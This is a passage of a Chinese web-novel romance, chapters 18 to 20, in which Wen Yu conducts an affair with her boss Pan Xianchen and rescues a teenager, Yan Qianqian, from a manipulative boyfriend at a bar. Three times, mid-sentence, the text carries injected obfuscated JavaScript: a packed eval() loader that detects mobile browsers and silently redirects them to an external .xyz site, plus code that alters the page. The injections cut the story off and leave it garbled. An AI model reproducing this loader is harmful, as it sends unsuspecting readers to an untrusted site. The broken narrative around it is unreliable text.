潘羡臣牵着她走到车旁。文钰惊讶地发现他居然又换了一辆车,难怪刚刚她死活没找到。潘羡臣替她开了副驾驶的车门,亲手把她塞进去,然后自己绕了一圈,坐进车里。 为了见她一面,潘羡臣连夜跑高速,开的是一辆越野车。车里很宽敞,潘羡臣握着文钰的手,和她十指紧扣。 文钰装冷静,问他:“你酒店找好了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不知过去了多久,文钰完全没力气了,整个人像死鱼一样贴在潘羡臣的胸口,只剩一张鱼嘴在呼哧呼哧喘气。潘羡臣又抓过她的手,和她十指紧扣。她手心湿湿的,是他们两个人的汗。汗就汗吧,她管不了这么多。腿上一直有个很硬很烫的东西堵着她,让她坐得很不舒服。她也管不了。 她觉得自己肯定没比潘羡臣好到哪儿去,那样大的一场雨,那样糜烂的泥泞,只会透过一层又一层的束缚和包裹,浸透到地底深处去。此时的他们,同样的狼狈不堪。 “你要走了吗?”文钰有气无力地问。 “你想我走吗?” “……” 文钰不知道怎么回答。不想他走,可他今晚不会留;想他走,那根本是违心的话。还是早点走吧,这样就能早点回去,也能早点休息。 她撑着他的胸膛艰难地起身,说:“你现在就走。” 潘羡臣笑:“好狠的心。” “以后也不要这么远跑过来找我。” “不行。” “那你回去别加班了,直接去睡觉。” “事儿还没办完呢。” “明天不是还有时间?明天再办。” “明早还有个会,必须出席。” “……” 文钰拧着眉瞪他。她说一句,他堵一句。潘羡臣又笑了,胸口沉沉地震动,她的手也跟着一起震。 他说:“你上去吧,我走了。” 文钰收拾好自己,从潘羡臣的路虎揽胜上下来,潘羡臣看向她身后,点了点头。文钰转身看去,彭雁拎着一袋吃的站在那里,也对着潘羡臣点点头,当打招呼。 文钰跟着彭雁一起钻进电梯,但其实她想钻的不是电梯,而是随便哪一道地缝。 彭雁比她自然,随口说道:“等了你快一小时,实在等不住,我就下来买了点吃的。” 文钰冒汗。什么?她和潘羡臣在下面搞七搞八地搞了一个小时?她明明是打算下来和潘羡臣一起找个地方吃饭的。 彭雁似乎能看出她的心理活动似的,贴心地问:“你应该也没吃吧?我买多了,我们一起吃。” 文钰:“……” 怎么办?更想找条地缝钻了。 到了房间,彭雁把食物一样样码好,招呼文钰过来吃。文钰磨磨蹭蹭,彭雁就说:“你不用不好意思,也不用遮遮掩掩,其实我早就知道了。” 文钰:? 彭雁笑笑:“你翻翻微信记录,我很早就和你说过,潘总喜欢你。” 18. 第 18 章 文钰很意外,看彭雁了然于胸的样子,觉得不太好意思,好像自己被她看透了似的。她不想当着彭雁的面去检查微信,和彭雁一起吃完饭填饱了肚子后,文钰躲进卫生间准备洗澡,放水前把她和彭雁的聊天记录翻了一遍。 彭雁说的那条微信,在好久以前。彭雁忽然让她去报告厅汇报,汇报前一天,彭雁发了这句话。 从那时候就看出来?从那时候就知道? 又是怎么知道的呢? 文钰心不在焉地冲了个澡,出来后,换成彭雁进去。听着浴室里水声哗哗,文钰舒服地躺坐在床上,百无聊赖地刷着朋友圈、小红书和抖音。 抖音有推送可能认识的人的功能,她总是刷到没互关过的同学、校友。毕业多年,很多同学已经断了联系,关系要好的那几个躺在她的微信好友圈里,聊得也不多了。抖音里这些熟悉的陌生人就更别提了,她偶尔刷到,不算好奇地看一看对方发了什么,然后划过去,转眼就忘了。 短短十几分钟,她已经刷到两三个。有的在发搞笑视频,收获了共同好友的几个点赞;有的发了自己旅游的照片,一连好几张,风景好美,看风景的人脸文钰却认不太出了,他(她)原来是长这样?还有的在官宣,搂着一看年纪就很小的女孩儿,笑得牙龈都要露出来了。 这条点赞评论数最多,大家就爱看这种,人类的本质是八卦的。 文钰划过去。等等。过了三秒,她又划回来。 这谁? 官宣的照片里,这男的是她高中同校不同班的校友,这张脸她不会认错。重要的是旁边的女孩儿。文钰点击照片,双指放大,仔细辨认。尽管年轻女孩儿浓妆艳抹,但最终文钰还是看出来了。 这不是严芊芊吗? 文钰拧着眉,严肃地盯着这张亲密照。蒋进高一刚入学就引起学校小范围的轩然大波,他高且帅,成绩虽然普通,但他篮球打得很好,每次打篮球,球场周围都围了一圈男男女女,男的酸溜溜地点评他的球技也就那样,女的看不太懂但一点不妨碍她们为他惊呼尖叫。 蒋进出尽了风头。 文钰真正和他熟识是因为她的同桌樊婷婷。那时候,樊婷婷也是蒋进篮球围观大军里的一员,而且她次次冲到最前面。她家条件很好,樊婷婷一上初中,家里就给她买了苹果手机,而且每年换新。樊婷婷用的永远是像素最高、价格最贵、款式最新的手机。她每次都用手机给蒋进拍照,还要发微博。樊婷婷的微博号就像蒋进的个人宣传号一样,樊婷婷也很像蒋进的站姐。 后来,樊婷婷就和蒋进谈恋爱了。有时候中午吃饭,樊婷婷想和蒋进一起,又怕太明显,于是会拉着文钰这个烟雾弹来欲盖弥彰。次数多了,文钰和蒋进也熟悉起来。 蒋进不是个好东西。趁樊婷婷不在场,蒋进对文钰很不规矩,暗地里总想和文钰发生点什么。 文钰问他:“樊婷婷怎么办?” 蒋进无所谓地笑笑:“如果你介意,我可以和她分手。” 文钰:“……” 不介意的话,两个同时是吧?好一个未满十八岁的时间管理大师。 文钰骂他:“渣男。” 蒋进不以为耻反以为荣:“男人不坏,女人不爱嘛。” 文钰对他无话可说,转头就把这些告诉了樊婷婷。樊婷婷睁着圆溜溜的眼睛愣了十几秒,愣到文钰觉得樊婷婷是不是接受不了打击要石化了,愣到文钰担心樊婷婷会不会失恋以后从此一蹶不振了,愣到文钰开始反思自己是不是不该这么着急地告诉她…… 樊婷婷说:“草!渣男!动我可以,动我姐妹不行!老娘和他拼了!” 樊婷婷是人间清醒大女主。 她说:“男人如衣服,姐妹如手足。男人哪里不能泡?听说大学里的男人更绝色……小小蒋进,呸!” 从此以后,樊婷婷从蒋进站姐黑化成了蒋进最大的黑粉头子。 黑粉比正儿八经的粉丝更牛,粉丝挖不出的料,黑粉分分钟实锤。经过和蒋进高中三年的势不两立,樊婷婷居然挖到了蒋进的人生黑料。 樊婷婷绘声绘色地说:“……我就这么盯着他进了那个巷子。那个巷子干什么的知道吗?……小小年纪,居然点外卖!” 点外卖就是□□的隐讳说法。 文钰震惊了。哇,真没想到,居然是个法制咖。 樊婷婷庆幸地说:“幸好老娘守身如玉,不管他怎么对我动手动脚,我都不让他得逞。他一个点外卖的人,万一有什么传染病呢?那我在大学里还怎么泡男人……” 文钰瞥她一眼,忍不住点评她:“……你三观是挺正的,就是人有点色。” 现在。 这个法制咖居然骗到了严芊芊?严芊芊才几岁?臭不要脸。 文钰考虑了好久,还是给严芊芊发了微信。 文小钰:芊芊,你是不是谈恋爱了? 过了两分钟,严芊芊直接微信语音打回来:“文钰姐姐,你怎么知道?” 文钰说:“是不是蒋进?” “哇,文钰姐姐,你怎么知道?”严芊芊语气里觉得好神奇的样子,文钰觉得蒋进把她骗到手,大约没花多长时间。 “蒋进是我高中校友,我看到他发抖音官宣了。” “哇,文钰姐姐,”严芊芊更兴奋了,“我们真的好有缘分啊!你看,我们家住隔壁,现在连我男朋友你都认识!” “……” 没什么值得高兴的,芊芊妹妹。你男朋友蒋进是个远近闻名的渣男。 文钰把蒋进的黑历史告诉严芊芊,说:“你和他分手吧,他不是个好男人。” 严芊芊沉默了好一会儿,声音一下子低落下去,说:“哦,我知道了,文钰姐姐,我考虑一下吧。” 微信语音挂了。 文钰皱了皱眉。还要考虑一下?法制咖魅力这么大?不过她和严芊芊交情并不深,对她说的话,严芊芊估计也要判断一下真伪。也不是谁都像樊婷婷这么果断的。 文钰不再去管这件事,她自己还一地鸡毛呢。 出差回来,文钰回了办 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文钰斜她一眼,凉凉地说:“你叫习惯了,一时改不过来可以不改。”潘狗总是什么?像这个人真的叫潘狗,然后尊称他为总。骂得更难听了。 “潘总潘总。改得过来。”叶一诺从善如流地说,“你不觉得你和潘总有点神似吗?” “……不觉得。” “听说两个人接吻的话,他们就会变得越来越像……你和潘总……?” “……” 文钰心猛地一跳,装出面不改色的样子:“别乱说。潘总有眼线,你忘了?一会儿把你请去办公室喝茶。” 追星女孩怎么回事?这么敏锐。 叶一诺完全不怕:“潘总和严总出差了,要好几天呢。没事儿,咱们现在可以大大地讲领导的坏话。” 文钰:“……” 九点,潘羡臣发微信和她说了出差的事。 潘羡臣:昨晚临时通知要出差,早上七点的飞机,你应该还在睡觉,就没和你说。 文小钰:知道啦。 文小钰:那你昨晚是不是都没睡几个小时?现在到了吧?赶快去补觉。 潘羡臣:补不了了。已经进会议室了。 文小钰:……又没说开会的时候必须每分每秒都全神贯注,偶尔打个盹你不会呀? 潘羡臣:像你那样? 他们同时想到了以前文钰开会的时候,不注意听被罚抄三遍会议记录的事情。文钰觉得潘羡臣此时一定在屏幕另一头笑话她。文钰想了半天没想到拿什么事情笑话回去。 潘羡臣:不说了。要开会了。 文小钰:好。 潘羡臣:好几天见不到面,你会想我吗? 不是不说了吗?忽然问这个。文钰久久看着那个问句,感受心脏跳得剧烈。又来了,那种又痛又爽的感觉。潘羡臣等了一会儿没等到文钰的回复,但会议已经开始,他最后发了一句便按熄手机。 潘羡臣:我会想你。晚上我要和你视频。 19. 第 19 章 文钰捏着手机去了卫生间,洗了个手就出来,然后又挪到了茶水区。茶水区里吃的喝的五花八门,但文钰既不想吃也不想喝,她在茶水区里转了一圈又转了出来。 她很想傻笑一会儿,但办公室里人好多。于是她只能这样没有目的地走来走去,好像动起来的时候不会像静止的时候那样,耳朵里全是噗噗噗的声音——她感觉到自己像一壶水,在火下炙烤,噗噗噗地,沸腾了好久。 接着她冷静下来。 晚上要视频。怎么视频?在哪里视频? 文钰和温于同住,她总不好在温于的眼皮子底下和潘羡臣视频吧。刹那间,她又陷入了深深的自责和浓浓的愧疚。潘羡臣态度那么认真地和她说过,他讨厌掉进三个人的关系里,而她没有办法干净地处理好自己的关系和圈子,迫使潘羡臣也像她一样跌进厚厚的泥沼。 她后悔起来。是不是不该在那家清吧开始的?但那个时候,她像被一张密密麻麻的蛛网紧紧裹住,她快透不过气来。可能是报复的,可能是求救的,她向潘羡臣走去。 后来就一发不可收拾。 文钰坐回座位。和刚才猛烈的冲动的情绪相比,现在的感觉更像是漫无边际的雾笼烟罩,没有方向也没有出路。 她恨她爸爸多年出轨的恶劣行径,也恨妈妈一容再容的懦弱自欺。但现在的自己,和他们有什么两样?文钰难过极了,此刻的她像她父亲一样卑劣,像她母亲一样无能。 她一言不发地回家。 温于今天下班比她早,此时正在厨房里忙活。文钰一点也不想见到他,没打招呼就匆匆进了卧室。但躲进卧室又怎么样呢?这个套间里到处是温于的物品和气息。从前文钰没有什么强烈的感受,只把温于当成即将合法的室友。但现在,她觉得这里的每寸土地、每个角落都是那么碍眼。 很快,温于做好了饭菜。他来卧室喊文钰吃饭。吃完了饭,文钰主动去洗碗。温于在客厅看电视。过了一会儿,温于走过来帮文钰摆放洗干净的碗碟筷勺。 文钰在洗碗池边冲洗最后一只碗。 腰上忽然圈过来一双手。文钰身体一抖,碗砸到了洗碗池里,碎了一个角。温于忙握住她的手,说:“别碰,划破了怎么办?你别管了,就扔在这儿吧。” 他的手很热很烫,在她皮肤上一寸寸游走。文钰的身体很凉很冰,她往旁边一闪,躲开了温于。 她问了一个笨问题:“你想干什么?” 温于眼神幽暗,其中沉淀着许多令文钰害怕的内容:“你说呢?” 文钰推开他,右脚也管不上了,只顾着三步并两步地冲进卧室,反锁了门。温于紧随她后,门把手被他上上下下按得极重极响,文钰怀疑下一刻温于是不是就要把门把手暴力拆卸,然后破门而入。 她觉得十分无助。 看了看身后,是巨大的窗玻璃,为了防止从高层不小心摔落,窗户都只允许开十指宽,她也没可能从这儿逃离。左右再看看,几面墙壁像铁笼子一样关住她,她不知道该往哪儿去。 片刻后,门把手不摇摆了。门外暂时没了动静。 隔着门,温于嘲讽地对文钰说道:“我们住一起很久了,也快结婚了,你一次都没让我碰过。你不觉得这很可笑吗?” 文钰没答。温于又不笨,她不相信温于看不出来他们之间莫名其妙的关系是怎么回事。那温于为什么不指出来呢?他在装傻,或者他也根本无所谓结婚对象是谁。 对温于来说,文钰是很好的选择。她的家境很好,父母人脉也广,就连她本人在长相身高学历工作等方面都无短板。在这样的情况下,爱不爱,已经不是温于考虑的范畴了。 室内室外都安静了。 文钰坐在地板上,抱着自己的膝盖。她的手机丢在旁边,忽然响了起来。 潘羡臣如约给她发了视频请求。 文钰更加心烦意乱。她不想拒绝潘羡臣,她想看见他的脸;但她也绝不可能在这个时间、这个地点、这种情况下神色如常地和他视频。 提示音响了一阵,停了。两秒后,又重新响起来。 文钰耳朵疼,头也疼。她狠心按了挂断。 不一会儿,潘羡臣发了个问号给她。 文小钰:现在不方便。 潘羡臣:那什么时候方便?你说个时间。 文小钰:今天不视频了。 潘羡臣有几分钟没有回复。文钰看见屏幕上方“对方正在输入”的提示,等了半天,潘羡臣删删减减,最后发了几个字过来。 潘羡臣:你怎么了? 文钰看了一眼,按灭手机,把脸埋进膝盖里。不知过去多久,没有预兆地,手机又响起来。文钰心乱如麻,想继续挂断,定睛一看,来电人却不是潘羡臣。 她顿了顿,按了接听。 首先传来的是震耳欲聋的音乐声和杂七杂八的人说话声,然后严芊芊才说:“文钰姐姐,你救救我。” 文钰拧开了门锁,忧心如焚地走出去。温于坐在客厅,看着她,面色不虞地问:“你要去哪儿?”文钰来不及回答,只顾着在玄关换鞋。温于被冷落了一晚上,此刻怒气冲冲地冲过去,拎起文钰就喊:“我问你话呢!” 文钰被扯得踉跄了一下,不得不抬头去看温于。温于个子很高,力气很大,像这样发着火杵在她面前,就像一座巍峨的大山一样。文钰那丁点力气,根本挣脱不开。 她不想把严芊芊的事告诉温于,但现在被温于这样制止,她有了冷静的时间。 严芊芊和一个关系要好的女同学去了酒吧,一群男男女女在包间里潇洒。骰子、扑克、酒精、香烟。局是蒋进组的,他带了一群好兄弟,好兄弟又带了一群好兄弟,十数人在包间里上蹿下跳,酒当水喝,烟不离手。包间里烟雾缭绕,呛得人快要没法呼吸。桌上除了酒,还摆着不知名的花花绿绿的饮料。严芊芊不敢喝,蒋进不让她走。七七八八被一堆人灌了些酒,严芊芊说自己想吐,蒋进才同意她去了卫生间。 卫生间在包间里面,她没法偷偷溜走。趁机锁了卫生间的门,严芊芊才敢给文钰打电话。 为什么是文钰呢? 当今晚蒋进的好兄弟逼严芊芊和她的女同学喝酒他也不管的时候,当蒋进不顾严芊芊的拒绝也要当着许多人的面和严芊芊亲热的时候,当严芊芊想走蒋进却让人堵门阻拦的时候,严芊芊似乎在一瞬间接受了文钰给她的忠告。 蒋进不是个好男人。今晚,她危。 严芊芊在微信电话里带着很明显的哭腔,说:“怎么办啊文钰姐姐?我同学还在被他们灌酒。我觉得蒋进今晚是故意的,他是不是想把我灌醉,然后对我做什么啊?我逃不掉,他们有好多人,而且很多是男人。我好害怕啊。文钰姐姐,怎么办啊?” “你打电话给你爸妈了吗?” “……没有。我爸爸出差了,而且我也没告诉他我谈恋爱了。他根本不知道蒋进是谁。如果知道,他肯定要打死我。我不敢告诉他。” 真是。debuff叠满了。 文钰说:“有一个妹妹被灌酒了,现在逃不出来。” 温于皱了皱眉,上下看了看文钰,尤其是她半瘸不瘸的右脚,说:“你想去接她?你?” 文钰:“……” 她知道自己自不量力,这种场合起码要带个男人,于是她补充:“还有你。” 几分钟后,温于开车带着文钰去接人。 找到严芊芊和蒋进的包间,温于推门,文钰跟在后面进去。包间内果然不堪入目,什么妖魔鬼怪都有。看到有人进来,站得离门最近的黄毛问:“你们谁呀?” 文钰说:“我找严芊芊。” 黄毛冲里面大喊:“进哥!有人找你女朋友!” 不多时,蒋进从昏暗的烟雾里走出来,他自己嘴上也叼着根烟,袅袅的烟气往头顶飘,好像马上就能上西天了似的。 蒋进不认识温于,但一眼就认出了文钰。他把烟取下,歪嘴笑道:“稀客呀,文钰。你怎么会来找我?” “我不是来找你的,我来找严芊芊。”文钰又重复了一遍。 “严芊芊?谁是严芊芊?我不认识什么严芊芊。” 文钰不耐烦:“别装了,刚那黄毛都说严芊芊是你女朋友了。” 蒋进和黄毛对视一眼。 蒋进:“……” 黄毛:“……你说谁黄毛呢?!” 蒋进破罐破摔,很不要脸地说:“是啊,严芊芊是我女朋友。怎么了?我和我女朋友玩得好好的,你来凑什么热闹?” 文钰盯着他不说话。 他怎么还和以前一个样,一点长进都没有。忘记高中被樊婷婷追在屁股后面喊打喊骂的日子啦? 文钰勾勾手指,对蒋进说:“那我现在找你。你出来一下,我有话和你说。” 蒋进一挑眉,暧昧地对黄毛笑笑,然后推开温于,吊儿郎当地跟着文钰走出了包间。 片刻后,两个人又走回来。 文钰直奔卫生间。温于回头看,蒋进刚才那副轻佻的样子全然没有了,现在铁青着脸,瞪着文钰的背影。发现温于在看他,他又扭头去瞪温于,恶狠狠的,像条落水的哈巴狗。 温于觉得这男的智商应该不高。 没一会儿,文钰就搂着严芊芊过来了。严芊芊把她的女同学也捎上。温于跟在三个女人后面,出了酒吧,又给三个女人当司机。先把严芊芊的女同学送回家,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270842|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后是严芊芊。 文钰陪着严芊芊坐在后排,严芊芊像霜打的茄子似的没了活力。过了一会儿,她抖着肩膀,呜呜呜地哭了起来。文钰忙给她抽纸巾擦眼泪,严芊芊越哭越厉害,鼻涕眼泪一大把地挂在脸上,断断续续地说:“我……我还挺喜欢他的呢……他怎么这样?我……我难过死了……呜呜呜……” “有什么好难过的?”文钰安抚着她单薄的背,“你不是说了,要十分喜欢的人,你才会要?那你首先得找个十分好的人才能去十分喜欢呀。” 温于从后视镜里看了文钰一眼。 “蒋进别说十分好,他根本是负分。这么烂的人,没了就没了。” 严芊芊擤了一把鼻涕,泪眼汪汪地看着文钰:“文钰姐姐,蒋进今天好凶。你刚刚是怎么说服他放我走的?” 说服? 文钰笑了,说:“我威胁他,如果不让严芊芊走,我就把他高中时的黑历史整理成pdf文档,寄给他的老板。” 严芊芊眼泪不流了,呆呆地看文钰:“就这样?” “对啊,就这样。” 严芊芊鄙视地说:“他好怂啊。” …… 到了严芊芊家,严芊芊下车,走之前,她请求文钰:“文钰姐姐,这件事,你能不能不告诉我爸爸?” 严致闻是集团大领导,办公室高高在上,和文钰根本不在同一层。平时也没什么机会碰面,哪有条件去打严芊芊的小报告? 文钰笑笑,同意了:“好。但你也要答应我,和蒋进断干净,不要再被骗了。” 严芊芊点点头。 经历了这件事,文钰和严芊芊的关系亲密起来。严芊芊有事没事会和文钰发微信,不上班的时候,严芊芊会约文钰吃饭或者逛街。文钰也知道了更多严芊芊的信息,她回国不久,国内能玩的朋友没几个,文钰算是被她逮到了。 中午食堂吃饭的时候,叶一诺看文钰和严芊芊聊微信聊得火热,忍不住酸溜溜地说:“有些人啊,只见新人笑,不闻旧人哭。” 文钰抬眼,看到叶一诺垮着张脸,撇着嘴叽叽歪歪地念叨:“你好啊,你打入敌人内部了,你太好了。现在就我孤家寡人一个呗,叫天天不灵,叫地地不应。哎!” 文钰说:“哇,你有必要吗?严芊芊就一十八岁的小姑娘,太无聊了没人陪。我才和她聊两句。” 叶一诺学她:“哇,你才是有必要吗?为了哄小姑娘,把我这个老姑娘撇下了呗。你听听你说的话,多像渣男啊!” 文钰:“……我心里其实是最爱你的。” 叶一诺翻白眼:“迟了!哄不好了!”她双手抱胸,下巴抬得比眼睛都要高,气呼呼又补一句:“而且你这句更渣男了!” 吃完饭,叶一诺勾着文钰的手回办公室。最近大领导小领导都不在,叶一诺看她家哥哥演唱会也不偷偷摸摸了,有时候直接在茶水区外放,文钰躲清静,藏进消防楼梯里接潘羡臣的视频电话。 潘羡臣脸色不好,一看就是没睡饱。文钰很心疼,劝他:“你现在就去睡觉吧,你好像都有黑眼圈了。” 潘羡臣勾唇笑笑:“难得和你打上视频电话,你让我去睡觉?” 文钰想起前两天潘羡臣给她打视频,她拒接了。潘羡臣问她怎么了,她也没回。 “对不起,我那天——”文钰说不下去了。 “不要总说对不起。”潘羡臣手撑着头,“这几天我也很忙,都没功夫找你。” “嗯。” “你呢?你也很忙吗?” “不忙。”文钰摇头,想起办公室里群龙无首妖魔乱舞的样子,她有时候都想偷偷带个平板来刷电视剧了。 “那你怎么不找我?” 潘羡臣嘴边挂着浅浅的笑,语气里却好似带着一股哀怨。 文钰脸红了一下,尽管知道楼梯里很安全,还是忍不住四处看看有没有人。 “你怕什么?” 潘羡臣伸出一根手指,触碰着屏幕,说:“我想摸你。”摸摸她软乎乎的脸,摸摸她细细的腰。 “……” 轰的一下,文钰的脸红透了。潘羡臣仔细看着,觉得文钰像颗小番茄。好吃的小番茄,肯定甜甜香香又多汁。 “我还想亲你。” “……” “你呢?你想吗?” “……” 潘羡臣摸着屏幕的手停了停。文钰捂着大半张脸没说话,眼睛飘飘忽忽地看向别处。潘羡臣皱眉,他想看她的脸,看她的嘴唇。怎么好遮掉?昨晚他还梦到了她。她的马尾不再摇摆在半空,而是被他狠狠地掐在手里。 “我还想——” “你别说了。”文钰制止他。 20. 第 20 章 潘羡臣低声笑起来。眉宇间的倦色令他的脸、他的笑别有一番味道。文钰想到了她出差那时,她和潘羡臣在越野车里昏天黑地的一个小时。那时潘羡臣也是这样笑,胸口震啊震,文钰仿佛觉得自己所处的大地都颤动起来了。 “你快去休息。”文钰催他。她觉得自己再这样听下去、说下去,她的脸可以直接煎鸡蛋了。 “好。” 潘羡臣点头,又问:“你最近和严芊芊走得很近?” 文钰说:“算是吧。你怎么知道的?” “她和严总打电话,我听到的。电话里十句有八句都是你。严总现在对你很好奇。” “这……我是没想到的。” “严芊芊这人是这样的,喜欢一个人会全身心投入。”潘羡臣别有意味地说,“这点你要向她学习。” “……” “她很粘人吧?跟屁虫一样。烦不烦?” 文钰摇头:“不烦。就是太好骗了。可能严总把她保护得太好了吧。” 她犹豫着,要不要和潘羡臣提一提蒋进的事。她答应了严芊芊不和严致闻告密,潘羡臣又不是严致闻。文钰把蒋进的事简单地说给潘羡臣听。 潘羡臣:“……” 早就知道严芊芊会打他脸了,就是没想到会打这么狠。上回严芊芊是怎么和他说的?认识了很久的好朋友?今天文钰怎么说的?和蒋进从认识到恋爱不到一月。严芊芊是这么定义“很久”的? 潘羡臣又想起之前他不让严芊芊坐他的车,怕误会。严芊芊痛快地答应了。他就知道严芊芊哪有这么善解人意,根本是因为蒋进! “我知道了。”潘羡臣的脸色很严肃。 文钰有点担心:“你不要和严总去说,我答应了芊芊的。” “嗯。” 挂了视频,文钰又在楼梯间坐了一会儿。她想了想,找出樊婷婷的微信,发:婷婷,最近有空吗?见一面? 樊婷婷回得很快:有空有空,好久没和你聚了。时间地点你定。 文小钰:你还记得蒋进吗? 樊婷婷:这个垃圾?你算是问对人了!老娘这辈子就是此货的克星! 樊婷婷:***(以下省略800字以上小作文) 文钰:“……” 果然,真正的好朋友虽然很久没联系,可一旦联系上了,依然无话不谈。 下班后,严芊芊来约文钰一起吃饭。最近几天,她们经常一起聚。严芊芊是个对吃很挑剔的人,不是十分好吃的不会带着文钰去。这些天文钰跟着严芊芊,种草了不少十分好吃的店。周六,文钰邀请严芊芊一起去爬山。 芊万富翁:爬山?一定要用爬吗?坐缆车的那种有没有? 文小钰:要不你看看你肚子上的肉肉再决定呢? 芊万富翁:……你很快就说服我了。 芊万富翁:不过你的脚没问题吗? 文小钰:好得差不多了。而且这座山也不高,爬上去很快的。 芊万富翁:那好,我们哪里见? 文小钰:我到你们别墅入口等你。 周六日两天,文钰也住在别墅里,和严芊芊家离得很近。严芊芊很大方,明明文钰年纪更大,可到外面吃饭总是抢着买单,还说几次约饭都是她提出来的,就应该是她请客。文钰打算一会儿到山上请严芊芊吃农家乐,这家店开了很多年,文钰经常吃,口碑很好。 很快,文钰就走到约定地点了。严芊芊还没出来,文钰靠在围墙边等着,时不时看一眼入口处有没有人。 严芊芊家的别墅管理得比文钰家的严,外面的来访者要进入不仅要登记,还要业主家和岗亭的保安通过电话才肯放行。这里很少有闲人,出入都是汽车,如果有人候在大门口,那是非常显眼的。 文钰一眼就看到了蒋进。他站在别墅入口张望着,岗亭的保安过来询问,他不理,走开了点,但也没走远,过一会儿又走回来继续等。像赶不走的苍蝇似的。 芊万富翁:文钰姐姐,我看入口那儿好像有个人,好像是蒋进。 文小钰:是蒋进。 芊万富翁:啊?那怎么办?我已经拉黑他了,但他好像还想缠着我……我都不知道他怎么找到这里来的。 文小钰:我过来了。 文钰不紧不慢地走过去。严芊芊怕蒋进,她不怕。毕竟是跟着樊婷婷一起黑过蒋进的,滤镜碎了以后,樊婷婷变成猛女,带着小兵文钰干死蒋进。 “你在这儿干什么?”文钰双手叉腰,挡在蒋进面前。 蒋进乍一眼看到文钰,吓一跳。但文钰不是樊婷婷,蒋进觉得自己还是可以虚张声势的:“我找我女朋友,关你什么事?” “你和严芊芊已经分手了。” 蒋进恨恨道:“说起这个我就来气!你是乌鸦啊?我碰到你就倒霉!你拆了我多少姻缘了,樊婷婷、严芊芊,还都是ABB的!我和你没什么好说的!乌鸦!” “严芊芊已经拉黑你了吧?你还纠缠不休、自讨没趣?苍蝇。” “你骂谁苍蝇呢?” 听到这里,严芊芊不得不站出来。蒋进见到严芊芊,宛如见到救星一般,扑通一声就跪下来了。 严芊芊:“……” 文钰:“……” 岗亭里看了好久戏的保安:“……” 接下来就是蒋进的独角好戏。不过这一招文钰以前没看过,可能是渣男的自我修养,进化出了为五斗米折腰的功能。文钰很清楚,蒋进这种万花丛中过片叶不沾身的人,为什么对严芊芊这么揪住不放。 严芊芊太有钱了。 蒋进嫁给她,可以少奋斗许多年。 “你快起来!你跪我干什么?我又不是妈祖!”严芊芊很急。要是被熟人看到,误以为她是渣女怎么办?蒋进演技真好,这么一会儿功夫,眼泪已经流了两轮了。 “芊芊,我求你原谅我。我错了,我真的错了,我从一开始就不应该认识你,这样,我现在也不会受这么多折磨!” 文钰:“……” 台词有点耳熟? 严芊芊说:“你别扯我衣服!哎……你鼻涕蹭我鞋上了!” 这场大戏拉扯了半个多小时才结束,文钰拽着严芊芊跑进了别墅区,蒋进被负责任的保安死死拦住。山爬不成了,严芊芊一路跑得气喘吁吁,靠着棵大树点评:“比爬山还累!” 文钰问她:“蒋进纠缠你多久了?” 严芊芊说:“那天晚上你把我从酒吧接出来后,我就拉黑他了。后来他一直打我电话,电话拉黑,他就换号打。我走路上都胆战心惊的,好怕他在尾随我。现在又找到家里来……” 文钰:“你还不打算告诉你父母吗?” “我怕……我怕蒋进,也怕我爸爸。”严芊芊垂着头,满脸都是天塌了的绝望。 “家里是安全的,你这几天先别出门。现在自己能走回家吗?” 严芊芊点头。 “好,那你回家,我看着你进门。” 严芊芊一连两三天都没出门,蒋进除了周六那天用陌生号打了几个骚扰电话,发了几条骚扰短信外,好像人间蒸发了一样消失得很干净。严芊芊不知道发生了什么。 潘羡臣和严致闻出差回来了。潘羡臣一落地就给文钰打电话,连续两个,都被她掐了。过了几秒,文钰发消息给他:有要事,勿扰。 她和樊婷婷正在蹲守中。小巷子。泥水坑。垃圾桶。等时间差不多了,樊婷婷说:“报警报警!”滴嘟滴嘟的警车来了,带走了点外卖的蒋进,又滴嘟滴嘟地走了。 樊婷婷拍了拍手说:“老鼠还想跟猫斗?送你进去住几天。” 文钰说:“他工作应该也没了吧?” 蒋进篮球打得好,在一家俱乐部当教练,教小学生打篮球。 樊婷婷嗤笑一声,道:“肯定没了!就他?快别祸害社会主义接班人了!” “他不会怀恨在心,报复我们吧?” 樊婷婷斜看文钰一眼,拍拍胸口说:“姐妹,天塌下来,我给你顶着! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270843|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说了,这个怂货哪儿敢报复,他下次看到我们只敢抱头鼠窜!” 这时潘羡臣的电话又打过来。文钰接了,和他说了刚才的盛况。潘羡臣声音沉下来:“你现在在哪儿?我过来。” 潘羡臣赶到的时候,文钰正坐在小巷子口的一块大石头上。她脚下是浅浅的雨水坑,倒映着上方红红绿绿的招牌灯。她抬起双腿一摆一摆,是等久了的动作。她身后黑漆漆的,远处两旁的路灯把这道黑衬托得像什么怪物的血盆大口,仿佛要一口吞掉中间那个小小的身影。 这什么鸟不拉屎的地方?又脏又破又乱又臭。 潘羡臣皱着眉,把文钰牵出来。 “你想改行当超级英雄?”他讽刺道。 “为正义花生。”文钰说。 “……” 